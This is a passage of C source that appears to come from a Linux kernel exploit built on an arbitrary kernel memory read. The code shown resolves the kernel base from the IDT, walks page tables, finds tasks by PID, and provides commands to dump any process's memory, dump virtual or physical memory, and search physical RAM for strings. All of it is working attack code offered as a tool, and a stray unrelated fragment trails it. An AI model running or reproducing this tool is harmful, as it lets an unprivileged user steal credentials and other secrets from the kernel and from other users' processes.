exit(EXIT_FAILURE); } entry->addr = addr; memset(&entry->entries[0], 0, sizeof(entry->entries)); return entry; } static struct pmd_entry *ptsc_alloc_pmd_entry(unsigned long addr) { struct pmd_entry *entry = malloc(sizeof(*entry)); if (!entry) { perror("[-] malloc()"); exit(EXIT_FAILURE); } entry->addr = addr; memset(&entry->entries[0], 0, sizeof(entry->entries)); return entry; } static struct pud_entry *ptsc_alloc_pud_entry(unsigned long addr) { struct pud_entry *entry = malloc(sizeof(*entry)); if (!entry) { perror("[-] malloc()"); exit(EXIT_FAILURE); } entry->addr = addr; memset(&entry->entries[0], 0, sizeof(entry->entries)); return entry; } static void ptsc_init(struct ptsc* ptsc, unsigned long physmap, unsigned long pgd) { ptsc->physmap = physmap; ptsc->entry.addr = pgd; memset(&ptsc->entry.entries[0], 0, sizeof(ptsc->entry.entries)); } static unsigned long ptsc_page_virt_to_phys(struct ptsc* ptsc, unsigned long addr) { struct pgd_entry *pgd_e; struct pud_entry *pud_e; struct pmd_entry *pmd_e; struct pte_entry *pte_e; unsigned long phys_a; int index; debug1("looking up phys addr for %016lx:\n", addr); pgd_e = &ptsc->entry; index = pgd_index(addr); debug1(" pgd: %016lx, index: %d\n", pgd_e->addr, index); if (!pgd_e->entries[index]) { unsigned long pgd_v = read_8( pgd_e->addr + index * sizeof(unsigned long)); debug1(" -> %016lx\n", pgd_v); if (pgd_none(pgd_v)) { debug1(" not found, pgd is none\n"); return 0; } if (!pgd_present(pgd_v)) { debug1(" not found, pgd is not present\n"); return 0; } unsigned long pud_a = ptsc->physmap + (pgd_v & PHYSICAL_PAGE_MASK); pud_e = ptsc_alloc_pud_entry(pud_a); pgd_e->entries[index] = pud_e; } pud_e = pgd_e->entries[index]; index = pud_index(addr); debug1(" pud: %016lx, index: %d\n", pud_e->addr, index); if (!pud_e->entries[index]) { unsigned long pud_v = read_8( pud_e->addr + index * sizeof(unsigned long)); debug1(" -> %016lx\n", pud_v); if (pud_none(pud_v)) { debug1(" not found, pud is none\n"); return 0; } if (!pud_present(pud_v)) { debug1(" not found, pud is not present\n"); return 0; } unsigned long pmd_a = ptsc->physmap + (pud_v & PHYSICAL_PAGE_MASK); pmd_e = ptsc_alloc_pmd_entry(pmd_a); pud_e->entries[index] = pmd_e; } pmd_e = pud_e->entries[index]; index = pmd_index(addr); debug1(" pmd: %016lx, index: %d\n", pmd_e->addr, index); if (!pmd_e->entries[index].pte) { unsigned long pmd_v = read_8( pmd_e->addr + index * sizeof(unsigned long)); debug1(" -> %016lx\n", pmd_v); if (pmd_none(pmd_v)) { debug1(" not found, pmd is none\n"); return 0; } if (!pmd_present(pmd_v)) { debug1(" not found, pmd is not present\n"); return 0; } if (pmd_flags(pmd_v) & _PAGE_PSE) { phys_a = ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK) + (addr & ~HUGE_PAGE_MASK); pmd_e->entries[index].phys = phys_a; pmd_e->entries[index].huge = true; } else { unsigned long pte_a = ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK); pte_e = ptsc_alloc_pte_entry(pte_a); pmd_e->entries[index].pte = pte_e; pmd_e->entries[index].huge = false; } } if (pmd_e->entries[index].huge) { debug1(" phy: %016lx (huge)\n", phys_a); return pmd_e->entries[index].phys; } pte_e = pmd_e->entries[index].pte; index = pte_index(addr); debug1(" pte: %016lx, index: %d\n", pte_e->addr, index); if (!pte_e->entries[index]) { unsigned long pte_v = read_8( pte_e->addr + index * sizeof(unsigned long)); debug1(" -> %016lx\n", pte_v); if (pte_none(pte_v)) { debug1(" not found, pte is none\n"); return 0; } if (!pte_present(pte_v)) { debug1(" not found, pte is not present\n"); return 0; } phys_a = ptsc->physmap + (pte_v & PHYSICAL_PAGE_MASK) + (addr & ~PAGE_MASK); pte_e->entries[index] = phys_a; } phys_a = pte_e->entries[index]; return phys_a; } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static unsigned long find_task_by_pid(unsigned long init_task, unsigned pid) { unsigned long cur_task = init_task; while (true) { unsigned cur_pid = read_field_4(cur_task, O_TASK_STRUCT_PID); if (cur_pid == pid) return cur_task; unsigned long task_next_ptr = read_field_8(cur_task, O_TASK_STRUCT_TASKS); cur_task = task_next_ptr - O_TASK_STRUCT_TASKS; if (cur_task == init_task) return 0; } } #define MAX_MMAPS_PER_TASK 512 struct mmap_entry { unsigned long start; unsigned long end; unsigned flags; }; typedef void (*mmap_callback)(struct mmap_entry *entry, void *private); static void for_each_mmap_from(unsigned long mmap, mmap_callback callback, void *private) { struct mmap_entry entries[MAX_MMAPS_PER_TASK]; int i, count; count = 0; while (mmap != 0) { assert(count < MAX_MMAPS_PER_TASK); unsigned long vm_start = read_field_8(mmap, O_VM_AREA_STRUCT_VM_START); unsigned long vm_end = read_field_8(mmap, O_VM_AREA_STRUCT_VM_END); if (vm_start >= TASK_SIZE || vm_end >= TASK_SIZE) { info("[-] bad mmap (did the task die?)\n"); exit(EXIT_FAILURE); } unsigned vm_flags = read_field_4(mmap, O_VM_AREA_STRUCT_VM_FLAGS); entries[count].start = vm_start; entries[count].end = vm_end; entries[count].flags = vm_flags; count++; mmap = read_field_8(mmap, O_VM_AREA_STRUCT_VM_NEXT); } for (i = 0; i < count; i++) callback(&entries[i], private); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static unsigned long g_kernel_text = 0; static unsigned long g_physmap = 0; static struct ptsc g_ptsc; static void physmap_init() { unsigned long divide_error = read_idt_gate(0); info("[.] divide_error: %016lx\n", divide_error); g_kernel_text = divide_error - O_DIVIDE_ERROR; info("[.] kernel text:%016lx\n", g_kernel_text); if (O_PAGE_OFFSET_BASE) { unsigned long page_offset_base = g_kernel_text + O_PAGE_OFFSET_BASE; info("[.] page_offset_base: %016lx\n", page_offset_base); g_physmap = read_8(page_offset_base); info("[.] physmap:%016lx\n", g_physmap); if (g_physmap < PAGE_OFFSET_BASE) { info("[-] physmap sanity check failed " "(wrong offset?)\n"); exit(EXIT_FAILURE); } } else { g_physmap = PAGE_OFFSET_BASE; info("[.] physmap:%016lx\n", g_physmap); } } static unsigned long g_mmap = 0; static void pts_init(int pid) { unsigned long mm; if (pid != 0) { unsigned long init_task = g_kernel_text + O_INIT_TASK; info("[.] init_task:%016lx\n", init_task); unsigned long task = find_task_by_pid(init_task, pid); info("[.] task: %016lx\n", task); if (task == 0) { info("[-] task %d not found\n", pid); exit(EXIT_FAILURE); } else if (task < PAGE_OFFSET_BASE) { info("[-] task sanity check failed (wrong offset?)\n"); exit(EXIT_FAILURE); } mm = read_field_8(task, O_TASK_STRUCT_MM); info("[.] task->mm: %016lx\n", mm); if (mm == 0) { info("[-] mm not found (kernel task?)\n"); exit(EXIT_FAILURE); } else if (mm < PAGE_OFFSET_BASE) { info("[-] mm sanity check failed (wrong offset?)\n"); exit(EXIT_FAILURE); } g_mmap = read_field_8(mm, O_MM_STRUCT_MMAP); info("[.] task->mm->mmap: %016lx\n", g_mmap); if (g_mmap < PAGE_OFFSET_BASE) { info("[-] mmap sanity check failed (wrong offset?)\n"); exit(EXIT_FAILURE); } } else { mm = g_kernel_text + O_INIT_MM; } unsigned long pgd = read_field_8(mm, O_MM_STRUCT_PGD); info("[.] task->mm->pgd:%016lx\n", pgd); if (pgd < PAGE_OFFSET_BASE) { info("[-] pgd sanity check failed (wrong offset?)\n"); exit(EXIT_FAILURE); } ptsc_init(&g_ptsc, g_physmap, pgd); } static unsigned long page_virt_to_phys(unsigned long addr) { unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr); assert(paddr != 0); return paddr - g_physmap; } static bool page_check_virt(unsigned long addr) { unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr); return paddr != 0; } static bool page_check_phys(unsigned long offset) { return page_check_virt(g_physmap + offset); } static void phys_read_range(unsigned long offset, size_t length, char *buffer) { read_range(g_physmap + offset, length, buffer); } static void for_each_mmap(mmap_callback callback, void *private) { for_each_mmap_from(g_mmap, callback, private); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static int create_file(const char *path) { int fd = open(path, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("[-] open()"); exit(EXIT_FAILURE); } return fd; } static int open_dir(const char *path) { int fd = open(path, O_DIRECTORY | O_PATH); if (fd < 0) { perror("[-] open()"); exit(EXIT_FAILURE); } return fd; } static int create_file_in_dir(int dirfd, const char *name) { int fd = openat(dirfd, name, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("[-] openat()"); exit(EXIT_FAILURE); } return fd; } static void write_file(int fd, char *buffer, size_t length) { int rv = write(fd, buffer, length); if (rv != length) { perror("[-] write()"); exit(EXIT_FAILURE); } } static void write_bytes(int fd, unsigned long src_addr, char *buffer, size_t length) { if (fd < 0) print_bytes(LOG_INFO, src_addr, buffer, length); else write_file(fd, buffer, length); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # void read_virt_memory(unsigned long addr, size_t length, int fd) { char buffer[PAGE_SIZE]; char empty[PAGE_SIZE]; debug1("read_virt_memory: addr = %016lx, length = %016lx\n", addr, length); memset(&empty[0], 0, sizeof(empty)); size_t total_read = 0; while (total_read < length) { unsigned long current = addr + total_read; size_t to_read = PAGE_SIZE; if (current % PAGE_SIZE != 0) to_read = PAGE_SIZE - current % PAGE_SIZE; to_read = min(to_read, length - total_read); if (page_check_virt(addr + total_read)) { read_range(addr + total_read, to_read, &buffer[0]); write_bytes(fd, addr + total_read, &buffer[0], to_read); } else { write_bytes(fd, addr + total_read, &empty[0], to_read); } total_read += to_read; } } void read_phys_memory(unsigned long src_addr, unsigned long offset, size_t length, int fd) { char buffer[PAGE_SIZE]; char empty[PAGE_SIZE]; debug1("read_phys_memory: offset = %016lx, length = %016lx\n", offset, length); memset(&empty[0], 0, sizeof(empty)); size_t total_read = 0; while (total_read < length) { unsigned long current = offset + total_read; size_t to_read = PAGE_SIZE; if (current % PAGE_SIZE != 0) to_read = PAGE_SIZE - current % PAGE_SIZE; to_read = min(to_read, length - total_read); if (page_check_phys(offset + total_read)) { phys_read_range(offset + total_read, to_read, &buffer[0]); write_bytes(fd, src_addr + offset + total_read, &buffer[0], to_read); } else { write_bytes(fd, src_addr + offset + total_read, &empty[0], to_read); } total_read += to_read; } } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define VM_READ 0x00000001 #define VM_WRITE 0x00000002 #define VM_EXEC 0x00000004 static void print_mmap(unsigned long start, unsigned long end, unsigned flags) { info("[%016lx, %016lx)%s%s%s\n", start, end, (flags & VM_READ)? "r" : "-", (flags & VM_WRITE) ? "w" : "-", (flags & VM_EXEC)? "x" : "-"); } static void name_mmap(unsigned long start, unsigned long end, unsigned flags, char *buffer, size_t length) { snprintf(buffer, length, "%016lx_%016lx_%s%s%s", start, end, (flags & VM_READ)? "r" : "-", (flags & VM_WRITE) ? "w" : "-", (flags & VM_EXEC)? "x" : "-"); } static void save_mmap(struct mmap_entry *entry, void *private) { int dirfd = (int)(unsigned long)private; unsigned long length; char name[128]; char empty[PAGE_SIZE]; assert(entry->start % PAGE_SIZE == 0); assert(entry->end % PAGE_SIZE == 0); memset(&empty, 0, sizeof(empty)); length = entry->end - entry->start; print_mmap(entry->start, entry->end, entry->flags); name_mmap(entry->start, entry->end, entry->flags, &name[0], sizeof(name)); int fd = create_file_in_dir(dirfd, &name[0]); size_t total_read = 0; while (total_read < length) { if (page_check_virt(entry->start + total_read)) { unsigned long offset = page_virt_to_phys( entry->start + total_read); read_phys_memory(entry->start + total_read, offset, PAGE_SIZE, fd); } else { write_bytes(fd, entry->start + total_read, &empty[0], PAGE_SIZE); } total_read += PAGE_SIZE; } close(fd); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # unsigned long get_phys_size() { struct sysinfo info; int rv = sysinfo(&info); if (rv != 0) { perror("sysinfo()"); return EXIT_FAILURE; } debug1("phys size: %016lx\n", info.totalram); return info.totalram; } void phys_search(unsigned long start, unsigned long end, char *needle) { char buffer[PAGE_SIZE]; int length = strlen(needle); assert(length <= PAGE_SIZE); unsigned long offset; for (offset = start; offset < end; offset += PAGE_SIZE) { if (offset % (32ul << 20) == 0) info("[.] now at %016lx\n", offset); if (!page_check_phys(offset)) continue; phys_read_range(offset, length, &buffer[0]); if (memcmp(&buffer[0], needle, length) != 0) continue; info("[+] found at %016lx\n", offset); return; } info("[-] not found\n"); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define CMD_IDT 1 #define CMD_PID 2 #define CMD_VIRT 3 #define CMD_PHYS 4 #define CMD_SEARCH 5 int g_cmd = 0; static unsigned g_num = 1; static unsigned g_pid = 0; static unsigned long g_addr = 0; static unsigned long g_length = 0; static unsigned long g_offset = 0; static const char *g_dir = NULL; static const char *g_file = NULL; static char *g_string = NULL; static void print_usage(const char* name) { info("Usage: \n"); info(" %s idt [NUM] " "dump IDT entries\n", name); info(" %s pid PID DIR " "dump process memory\n", name); info(" %s virt ADDR LENGTH [FILE] " "dump virtual memory\n", name); info(" %s phys OFFSET LENGTH [FILE] " "dump physical memory\n", name); info(" %s search STRING [OFFSET [LENGTH]] " "search start of each physical page\n", name); info("\n"); info(" NUM, PID - decimals\n"); info(" ADDR, LENGTH, OFFSET - hex\n"); info(" DIR, FILE, STRING - strings\n"); } static bool parse_u(char *s, int base, unsigned *out) { int length = strlen(s); char *endptr = NULL; unsigned long result = strtoul(s, &endptr, base); if (endptr != s + length) return false; *out = result; return true; } static bool parse_ul(char *s, int base, unsigned long *out) { int length = strlen(s); char *endptr = NULL; unsigned long result = strtoul(s, &endptr, base); if (endptr != s + length) return false; *out = result; return true; } static int parse_cmd(const char *cmd) { if (strcmp(cmd, "idt") == 0) return CMD_IDT; if (strcmp(cmd, "pid") == 0) return CMD_PID; if (strcmp(cmd, "virt") == 0) return CMD_VIRT; if (strcmp(cmd, "phys") == 0) return CMD_PHYS; if (strcmp(cmd, "search") == 0) return CMD_SEARCH; return 0; } static bool parse_args(int argc, char **argv) { if (argc < 2) return false; g_cmd = parse_cmd(argv[1]); switch (g_cmd) { case CMD_IDT: if (argc > 3) return false; if (argc >= 3 && !parse_u(argv[2], 10, &g_num)) return false; return true; case CMD_PID: if (argc != 4) return false; if (!parse_u(argv[2], 10, &g_pid)) return false; if (g_pid <= 0) return false; g_dir = argv[3]; debug1("CMD_PID %u %s\n", g_pid, g_dir); return true; case CMD_VIRT: if (argc < 4 || argc > 5) return false; if (!parse_ul(argv[2], 16, &g_addr)) return false; if (!parse_ul(argv[3], 16, &g_length)) return false; if (argc == 5) g_file = argv[4]; debug1("CMD_VIRT %016lx %016lx %s\n", g_addr, g_length, g_file ? g_file : "NULL"); return true; case CMD_PHYS: if (argc < 4 || argc > 5) return false; if (!parse_ul(argv[2], 16, &g_offset)) return false; if (!parse_ul(argv[3], 16, &g_length)) return false; if (argc == 5) g_file = argv[4]; debug1("CMD_PHYS %016lx %016lx %s\n", g_offset, g_length, g_file ? g_file : "NULL"); return true; case CMD_SEARCH: if (argc < 3 || argc > 5) return false; g_string = argv[2]; if (argc >= 4 && !parse_ul(argv[3], 16, &g_offset)) return false; if (argc >= 5 && !parse_ul(argv[4], 16, &g_length)) return false; debug1("CMD_SEARCH <%s> %016lx %016lx\n", g_string, g_offset, g_length); return true; default: return false; } return true; } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # void handle_cmd_idt() { info("[.] dumping IDT\n"); print_idt(g_num); info("[+] done\n"); } void handle_cmd_virt() { int fd = -1; info("[.] dumping virtual memory [%016lx, %016lx):\n", g_addr, g_addr + g_length); if (g_file != NULL) fd = create_file(g_file); read_virt_memory(g_addr, g_length, fd); if (fd != -1) close(fd); info("[+] done\n"); } void handle_cmd_phys() { int fd = -1; info("[.] dumping physical memory [%016lx, %016lx):\n", g_offset, g_offset + g_length); if (g_file != NULL) fd = create_file(g_file); read_phys_memory(0, g_offset, g_length, fd); if (fd != -1) close(fd); info("[+] done\n"); } void handle_cmd_pid() { info("[.] dumping mmaps for %u:\n", g_pid); int dirfd = open_dir(g_dir); for_each_mmap(save_mmap, (void *)(unsigned long)dirfd); close(dirfd); info("[+] done\n"); } void handle_cmd_search() { unsigned long start = g_offset ? g_offset : 0; unsigned long end = g_length ? (start + g_length) : get_phys_size(); info("[.] searching [%016lx, %016lx) for '%s':\n", start, end, g_string); phys_search(start, end, g_string); info("[+] done\n"); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # int main(int argc, char **argv) { assert(getpagesize() == PAGE_SIZE); if (!parse_args(argc, argv)) { print_usage(argv[0]); exit(EXIT_FAILURE); } arbitrary_read_init(); if (g_cmd == CMD_IDT) { handle_cmd_idt(); return EXIT_SUCCESS; } physmap_init(); switch (g_cmd) { case CMD_VIRT: pts_init(getpid()); handle_cmd_virt(); break; case CMD_PHYS: pts_init(0); handle_cmd_phys(); break; case CMD_SEARCH: pts_init(0); handle_cmd_search(); break; case CMD_PID: pts_init(g_pid); handle_cmd_pid(); break; } return EXIT_SUCCESS; } |
体验盒子
